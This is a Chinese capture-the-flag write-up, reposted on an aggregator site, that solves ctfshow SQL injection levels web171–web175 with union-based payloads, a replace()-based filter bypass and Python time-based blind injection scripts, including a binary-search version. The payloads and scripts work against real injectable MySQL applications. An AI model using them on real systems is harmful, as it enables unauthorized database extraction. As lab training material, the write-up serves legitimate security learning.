ctfshow-web入门-sql注入(web171-web175)

目录

1、web171

2、web172

3、web173

4、web174

5、web175


1、web171

单引号测一下,报错 

--+ 闭合后回显正常 

也可以用 # ,不过需要 URL 编码

成功闭合之后,先判断下字段数:

1' order by 3--+

3 的时候正常 

4 的时候报错,说明只有 3 列 

 测了一下,三个回显位都能正常回显:

0' union select 1,2,3--+

先查一下基本信息: 

0' union select database(),user(),version()--+

当前数据库名为 ctfshow_web 

这里说明一下,因为 mysql 5.0 及其以上的都会自带一个叫 information_schema 的数据库,相当于是一个已知的数据库,并且该数据库下储存了所有数据库的所以信息。 

查该数据库下的所有表:

0' union select group_concat(table_name),2,3 from information_schema.tables where table_schema='ctfshow_web'--+

其中 2 和 3  只是占位符  

可以看到存在一个名为 ctfshow_user 的表,我们继续查该表下的列名:

0' union select group_concat(column_name),2,3 from information_schema.columns where table_schema='ctfshow_web'and table_name='ctfshow_user'--+

没看到 flag 这种关键字,因此我们 id,username,password 都查一下:

0' union select id,username,password from ctfshow_web.ctfshow_user--+

最终在 id 为 26 的 password 里找到 flag:ctfshow{64dd0daa-4600-4813-8ef2-cffa99a6f05f} 

当然这种没有绕过的给到 sqlmap 就直接一把嗦了,这里简便的方法也可以采用万能密码:

1'or 1 --+

2、web172

在无过滤注入 1 里面用万能密码未找到 flag

试一下注入 2 的,经过测试这里的回显位只有两个

数据库都懒得查了,用 database() 代替,直接查表:

0' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()--+

新增了一个 ctfshow_user2 的表,查一下该表下面内容,注意这里有一个检查,要求 username 的内容不能是 flag,才能正常查询成功,那么我们就不查 username ,查 id 和 password 就行了:

0' union select id,password from ctfshow_user2--+

当然也可以只查 password:

0' union select 1,password from ctfshow_user2--+

拿到 flag:ctfshow{97bd5892-2617-417a-8c2e-16134f741704}

如果查询内容有 username,因为 username 里包含了 'flag',因此无法正常回显 flag 的内容:

3、web173

判断一下这次又是三个字段数了,根据前面的规律,这次的表名应该是:ctfshow_web.ctfshow_user3,因为还是对输出过滤了 flag,所有我们还是不查用户名,用占位符占位即可。

payload:

只查 password

0' union select 1,2,password from ctfshow_web.ctfshow_user3--+

查 id 与 password 

0' union select id,2,password from ctfshow_web.ctfshow_user3--+

拿到 flag:ctfshow{eff707be-5727-412e-93be-2c75e5783fa5}

4、web174

还没查就报错了

这里有点问题,手动改一下请求文件为:select-no-waf-4.php

可以发现这里查询结果的输出不能出现数字

查询语句的内容也不能出现数字

可以查到数据库名:ctfshow_web ,因为数据库名里没有数字

但是查表名就不行了,根据前面规律,表名应该为 ctfshow_user4,包含了数字,所以结果出不来,不能直接查。 

0' union select group_concat(table_name),'a' from information_schema.tables where table_schema=database()--+

对输出结果进行替换后再输出,将数字都替换成字母,payload:

0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from information_schema.tables where table_schema=database()--+

查询结果为:ctfshow_userD 

D 对应的是 4 ,因此表名为:ctfshow_user4 

查询 password:

0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from ctfshow_user4--+

得到:ctfshow{eIdGcBcc-cACA-DEIF-aGcB-aAJGdJddGBCe}

最后将查询结果的数字替换回去,也可以用 replace 函数,反过来即可。

这里用 python 实现:

def rev_replace(txt):repl = {'A': '1','B': '2','C': '3','D': '4','E': '5','F': '6','G': '7','H': '8','I': '9','J': '0'}for k, v in repl.items():txt = txt.replace(k, v)return txttxt = input("输入:")
out = rev_replace(txt)
print("替换后: ", out)

拿到 flag:ctfshow{e9d7c2cc-c131-4596-a7c2-a107d0dd723e}

5、web175

正常的查 1 都没有回显

if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){$ret['msg']='查询成功';}

正则匹配过滤掉的是所有 ASCII 字符(从 \x00 到 \x7f,也就是从 0 到 127 的所有字符,包括控制字符、数字、字母和符号)。

因此这里采用时间盲注,先测试一下:

1' and sleep(5)--+

观察页面确实存在延时 

我个人比较菜,然后一直都是脚本小子,这次自己来写一下,希望能更好的理解下时间盲注。 

首先看了下它这里除了查询的 id,还有另外的两个参数,这个我们在写脚本时也需要加进去,并且注意到,它调用的接口其实是 /api 下的 v5.php,而不是 select-no-waf-5.php 这个文件哦。

接下来我们先判断下它数据库名的长度,这个其实可以通过 burpsuite 的攻击模块爆破的,没关系,我们这里手写一遍,也锻炼下我们 python 的能力。

关于 burpsuite 用来爆破这种时间盲注,以及一些原理可以参考我之前的博客:

关于SQL时间盲注(基于sleep函数)的手动测试、burpsuite爆破、sqlmap全自动化注入_sql 语句 and sleep-CSDN博客icon-default.png?t=N7T8https://blog.csdn.net/Myon5/article/details/135241105?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522172242605416800175758093%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=172242605416800175758093&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-2-135241105-null-null.nonecase&utm_term=%E6%97%B6%E9%97%B4%E7%9B%B2%E6%B3%A8&spm=1018.2226.3001.4450payload:

1' and if(length(database())=11,sleep(3),0) --+
import requestsurl = 'http://e03daa7b-66ad-48fb-8349-da520b7f5fe8.challenge.ctf.show/api/v5.php'
i = 0
for i in range(1, 15):payload = f"id=1' and if(length(database())={i},sleep(3),0) --+&page=1&limit=10"# print(payload)re = requests.get(url, params=payload)time = re.elapsed.total_seconds()print(f"{i}:{time}")# print(re.url)

可以看到当数据库名长度为 11 时,响应存在延时,这与我们前面得到的数据库名为:ctfshow_web,长度就是 11符合。

下面使用两个 for 循环遍历数据库名,从第一个字符猜到第 11 个字符,字符的可能性这里字典设置的是小写字母加数字加下划线:

import requests
import stringurl = 'http://2e5bbcf3-38df-43a5-b8a5-710f30ae9957.challenge.ctf.show/api/v5.php'
dic = string.ascii_lowercase + string.digits + '_'
out = ''
for j in range(1, 12):for k in dic:payload = f"id=1' and if(substr(database(),{j},1)='{k}',sleep(3),0) --+&page=1&limit=10"# print(payload)re = requests.get(url, params=payload)time = re.elapsed.total_seconds()# print(f"{j}:{time}")if time > 2:print(k) out += k #响应延时则将猜测的字符添加到结果里break #跳出内层的for循环,继续遍历下一位
print(out)

跑完得到数据库名为:ctfshow_web

接下来我们继续猜表名,这里就不先判断表名的长度了,设置范围大一点,以确保完整输出数据,使用标志位来判断是否到了最后一位:

import requests
import stringurl = 'http://2e5bbcf3-38df-43a5-b8a5-710f30ae9957.challenge.ctf.show/api/v5.php'
dic = string.ascii_lowercase + string.digits + '_'
out = ''
for j in range(1, 30):a = 1 #设置一个标志位,用来判断是否已经猜到了最后一位for k in dic:# payload = f"id=1' and if(substr(database(),{j},1)='{k}',sleep(3),0) --+&page=1&limit=10"payload = f"id=1' and if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"# print(payload)re = requests.get(url, params=payload)time = re.elapsed.total_seconds()# print(f"{j}:{time}")if time > 2:print(k)a = 0 #如果找到字符,则将标志位置0out += kbreak #跳出内层的for循环,继续遍历下一位if a == 1: #在进行下一次循环前,先判断当前字符是否找到break #若没有找到,则跳出外层循环,表示我们已经到了最后一个字符
print(out)

得到表名为:ctfshow_user5

我们可以通过调整 limit 的参数来获取到其他的表名,有时候也可以使用 group_concat 函数。

payload = f"id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"

在 SQL 中,LIMIT 子句用于指定查询结果中返回的行数,用法:

LIMIT offset, count

offset 是要跳过的行数,offset 从 0 开始计数,count 是要返回的行数。

比如:

LIMIT 0, 1

从查询结果的第 0 行(即第一行)开始,返回 1 行结果,即返回了查询结果的第一行。

LIMIT 1, 1

从查询结果的第 1 行(即第二行)开始,返回 1 行结果,即返回了查询结果的第二行。

这里尝试找第二行,发现一会代码就结束了,说明这里只有一个表:

接下来查列名:

payload = f"id=1' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web'and table_name='ctfshow_user5'), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"

这里只出了一个 id,因为换行导致我们误判为到了最后一个字符,因为我们的字典里只包括数字、小写字母和下划线,因此字符没找到,便跳出外层循环结束了代码。

注释掉最后两句判断结束的语句即可输出完整结果:

也可以通过 limit 来指定查询第三行的内容:

payload = f"id=1' and if(substr((select column_name from information_schema.columns where table_schema='ctfshow_web'and table_name='ctfshow_user5' limit 2, 1), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"

因为我编程能力确实很差,所以这个代码还是存在很多问题的,需要继续改进和完善。

由于前面的题目,我们知道 flag 在 password 字段里,那么我们就查它:

由于 flag 不在第一行,因此我们再细化查询的条件,即 username='flag'

payload = f"id=1' and if(substr((select password from ctfshow_web.ctfshow_user5 where username='flag'), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"

因为 flag 内容还包括了大括号和减号,为了避免提早结束,我们拓展下字典:

dic = string.ascii_lowercase + string.digits + '_-{}'

结果的长度也得扩展:

for j in range(1, 100):

最终的脚本:

import requests
import stringurl = 'http://2e5bbcf3-38df-43a5-b8a5-710f30ae9957.challenge.ctf.show/api/v5.php'
dic = string.ascii_lowercase + string.digits + '_-{}'
out = ''
for j in range(1, 100):a = 1 #设置一个标志位,用来判断是否已经猜到了最后一位for k in dic:# payload = f"id=1' and if(substr(database(),{j},1)='{k}',sleep(3),0) --+&page=1&limit=10" # 猜数据库名# payload = f"id=1' and if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10" #猜表名# payload = f"id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10" #猜表名# payload = f"id=1' and if(substr((select column_name from information_schema.columns where table_schema='ctfshow_web'and table_name='ctfshow_user5' limit 2, 1), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"  # 猜列名payload = f"id=1' and if(substr((select password from ctfshow_web.ctfshow_user5 where username='flag'), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"  # 猜具体字段# print(payload)re = requests.get(url, params=payload)time = re.elapsed.total_seconds()# print(f"{j}:{time}")if time > 2:print(k)a = 0 #如果找到字符,则将标志位置0out += kbreak #跳出内层的for循环,继续遍历下一位if a == 1: #在进行下一次循环前,先判断当前字符是否找到break #若没有找到,则跳出外层循环,表示我们已经到了最后一个字符
print(out)

拿到 flag:ctfshow{d6c5132a-3611-4cd3-a840-37e6a68ac6dd}

同理,当我们注释掉最后两行判断结束的代码,并使用 group_concat,就算不追加 username='flag' 的条件,也是可以查到 flag 的,不过这个时间就比较久了,因为我们查的是所有的数据:

payload = f"id=1' and if(substr((select group_concat(password) from ctfshow_web.ctfshow_user5), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"

大致就这样吧,不敢相信我竟然自己写了个盲注的脚本,还加了那么多注释和个人理解,我知道我的代码写得不好,因为还在慢慢学习嘛,对于时间盲注其实更高效的查询方法是二分法查询,这次我主要是练习下自己动手写代码的能力,如果你也是不会写代码,认真看完相信你也能收获些东西的,最后附上二分法查找的代码和注释,写的不好,互相学习吧:

import requestsurl = 'http://de93f700-084d-447e-a783-efdbd7efc984.challenge.ctf.show/api/v5.php'
out = ''
for i in range(1, 100):left, right = 32, 128  # 设置ASCII值的搜索范围mid = (left + right) // 2  # 计算中间值while left < right:# 这里用ascii函数来获取当前字符的ASCII值,与中间值进行比较,注意这条语句是sql中的用法,在python里获取ascii值是用ord函数payload = f"id=1' and if(ascii(substr((select group_concat(password) from ctfshow_web.ctfshow_user5 where username='flag'), {i}, 1)) > {mid},sleep(3),0) --+&page=1&limit=10"re = requests.get(url, params=payload)time = re.elapsed.total_seconds()if time > 2:  # 存在延时,说明当前字符的ascii值大于我们的中间值left = mid + 1  # 调整查找的范围,既然大于那说明ascii值是在中间值的右边,将中间值加1else:  # 不存在延时,说明当前字符的ascii值小于中间值,在左边right = mid  # 左边起始位置不变,将右边的查找范围调整为中间值mid = (left + right) // 2  # 无论查询字符在左边还是右边,中间值都等于更新后的right+left再整除2,之后继续执行while循环,直到找到目标字符的ascii值,left=right,退出while循环print(mid)  out += chr(mid)print(out)

 看完感觉有收获的可以给我个赞或者关注吗哈哈哈,感谢支持!我们下篇博客再见。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/388676.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C++必修:STL之vector的了解与使用

✨✨ 欢迎大家来到贝蒂大讲堂✨✨ &#x1f388;&#x1f388;养成好习惯&#xff0c;先赞后看哦~&#x1f388;&#x1f388; 所属专栏&#xff1a;C学习 贝蒂的主页&#xff1a;Betty’s blog 1. C/C中的数组 1.1. C语言中的数组 在 C 语言中&#xff0c;数组是一组相同类型…

泰迪智能科技AI大模型某医院合作案例介绍

泰迪智能科技AI大模型支持以ChatGLM2-6B、Baichuan-13B、Qwen14B和文心一言等多种大语言模型为底座&#xff0c;实现基于特定领域数据、面向智能客服、问答系统、自动摘要、智能打标、内容创作、信息抽取等应用场景的模型微调、评估和推理&#xff0c;为业务智能升级和价值挖掘…

【C++从小白到大牛】类和对象

目录 一、面向过程和面向对象初步认识 二、类的引入 三、类的定义 类的成员函数两种定义方式&#xff1a; 1. 声明和定义全部放在类体中 2. 类声明放在.h文件中&#xff0c;成员函数定义放在.cpp文件中 成员变量命名规则的建议&#xff1a; 四、类的访问限定符 【访问限…

本地部署持续集成工具Jenkins并配置公网地址实现远程自动化构建

文章目录 前言1. 安装Jenkins2. 局域网访问Jenkins3. 安装 cpolar内网穿透软件4. 配置Jenkins公网访问地址5. 公网远程访问Jenkins6. 固定公网地址 前言 本文主要介绍如何在Linux CentOS 7中安装Jenkins并结合cpolar内网穿透工具实现远程访问管理本地部署的Jenkins服务. Jenk…

大模型算法面试题(十八)

本系列收纳各种大模型面试题及答案。 1、P-tuning v2 思路、优缺点是什么 P-tuning v2是清华大学自然语言处理实验室&#xff08;THUDM&#xff09;等研究机构提出的一种新的预训练模型优化方法&#xff0c;主要关注如何通过动态构建任务相关的提示序列来引导预训练模型进行更…

【数据结构进阶】手撕红黑树

&#x1f525;个人主页&#xff1a; Forcible Bug Maker &#x1f525;专栏&#xff1a; C || 数据结构 目录 &#x1f308;前言&#x1f525;红黑树的概念&#x1f525;手撕红黑树红黑树结点的定义红黑树主体需要实现的成员函数红黑树的插入findEmpty和Size拷贝构造析构函数和…

Redis和Mysql如何保持数据一致性

一般情况下&#xff0c;Redis是用来实现应用和数据库之间读操作得缓存层&#xff0c;主要目的是减少数据库IO&#xff0c;还可以提升数据的IO性能。 当应用程序需要去读取某个数据时&#xff0c;会首先尝试去Redis里面加载&#xff0c;如果命中就直接返回&#xff0c;如果没有…

C++ 操作Git仓库

代码 #include "common.h" #include "args.c" #include "common.c"enum index_mode {INDEX_NONE,INDEX_ADD };struct index_options {int dry_run;int verbose;git_repository* repo;enum index_mode mode;int add_update; };/* Forward declar…

vue项目Nginx部署启动

1.vue打包 &#xff08;1&#xff09;package.json增加打包命令 "scripts": {"dev": "webpack-dev-server --inline --progress --config build/webpack.dev.conf.js --host 10.16.14.110","start": "npm run dev","un…

Halcon 边缘提取(亚像素)

Halcon提供多种边缘提取算法。像素提取方法有常用的边缘提取算子或深度学习分割模型等。考虑到精度问题可能需要提取亚像素边缘。当然也可以提取轮廓&#xff1a;线、圆、椭圆等。本文只讨论提取轮廓。 1 基本概念 正常情况下&#xff0c;无需特殊操作即可提取边缘轮廓。 1…

Linux-4:Shell编程——基础语法(50%-100%)

目录 前言 一、数组 1.数组定义 2.关联数组 3.数组长度 二、运算符 1.算术运算符 2.关系运算符 3.布尔运算符 4.逻辑运算符 5.字符串运算符 6.文件测试运算符 三、read命令 1.接收用户输入 2.开启转义 3. -p 输入提示 4. -s 静默模式 -t 设置超时时间 5.读取…

Fiddler学习笔记

目录 前言 简介 原理 界面 前言 测试可以使用fiddler工具&#xff0c;通过抓包的方式修改前端参数和模拟后端返回&#xff0c;快速定位缺陷。 简介 Fiddler是HTTP协议调试代理工具&#xff0c;可以记录并检查所有客户端和服务器之间的HTTP和HTTPS请求&#xff0c;允许监视…

算法训练1

01背包问题 背包状态方程----动态规划 二维dp 使用 f[i][j] max(f[i-1][j] ,f[i-1][j - w[i]] v[i]); 伪代码&#xff1a; int dp[100][100]; void test6() {int n; //装备数量int m; //背包容量int v[105], w[105]; //前面空间&#xff0c;后面价值for (int i 1; i &l…

ONLYOFFICE文档:为企业和开发者带来强大的文档编辑功能

本文给大家介绍一个开源项目&#xff1a;ONLYOFFICE文档&#xff0c;它能够为文档编辑、多人协作提供强大支持。无论你是个人使用&#xff0c;还是企业、商业开发&#xff0c;都能找到适合你的版本。 关于 ONLYOFFICE 文档 ONLYOFFICE 文档是一套功能强大的文档编辑器&#x…

微信小程序获取AppSecret的步骤

文章目录 微信小程序获取AppSecret的步骤&#xff1a;注意&#xff1a; 微信公众平台 小程序的密钥&#xff08;或称为AppSecret&#xff09;是用于加密解密、验证服务器身份等安全操作的敏感信息。不同的平台&#xff08;如微信小程序、支付宝小程序、百度智能小程序等&am…

vulhub:Apache解析漏洞apache_parsing

在Apache1.x/2.x中Apache 解析文件的规则是从右到左开始判断解析&#xff0c;如果后缀名为不可识别文件解析&#xff0c;就再往左判断。如 1.php.xxxxx 漏洞原理 Apache HTTPD 支持一个文件拥有多个后缀&#xff0c;并为不同后缀执行不同的指令。比如如下配置文件 AddType te…

【C#】.net core 6.0 webapi 使用core版本的NPOI的Excel读取数据以及保存数据

欢迎来到《小5讲堂》 这是《C#》系列文章&#xff0c;每篇文章将以博主理解的角度展开讲解。 温馨提示&#xff1a;博主能力有限&#xff0c;理解水平有限&#xff0c;若有不对之处望指正&#xff01; 目录 背景读取并保存NPOI信息NPOI 插件介绍基本功能示例代码写入 Excel 文件…

算法小白的进阶之路(力扣1~5)

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 非常期待和您一起在这个小…

花几千上万学习Java,真没必要!(三十九)

1、BufferedReader的使用&#xff1a; 测试代码&#xff1a; package test.com; import java.io.BufferedReader; import java.io.FileReader; import java.io.IOException; import java.util.ArrayList; import java.util.List; public class FileReadToList { pu…

使用 openai 和 langchain 调用自定义工具完成提问需求

我们提供了一个函数&#xff0c;接受传入运算的字符串&#xff0c;返回运算的结果。 现在的需求是&#xff0c;我们问 gpt 模型&#xff0c;由于模型计算能力并不好&#xff0c;他要调用计算函数&#xff0c;根据计算结果&#xff0c;回答我们的问题。 使用 openai 实现&#…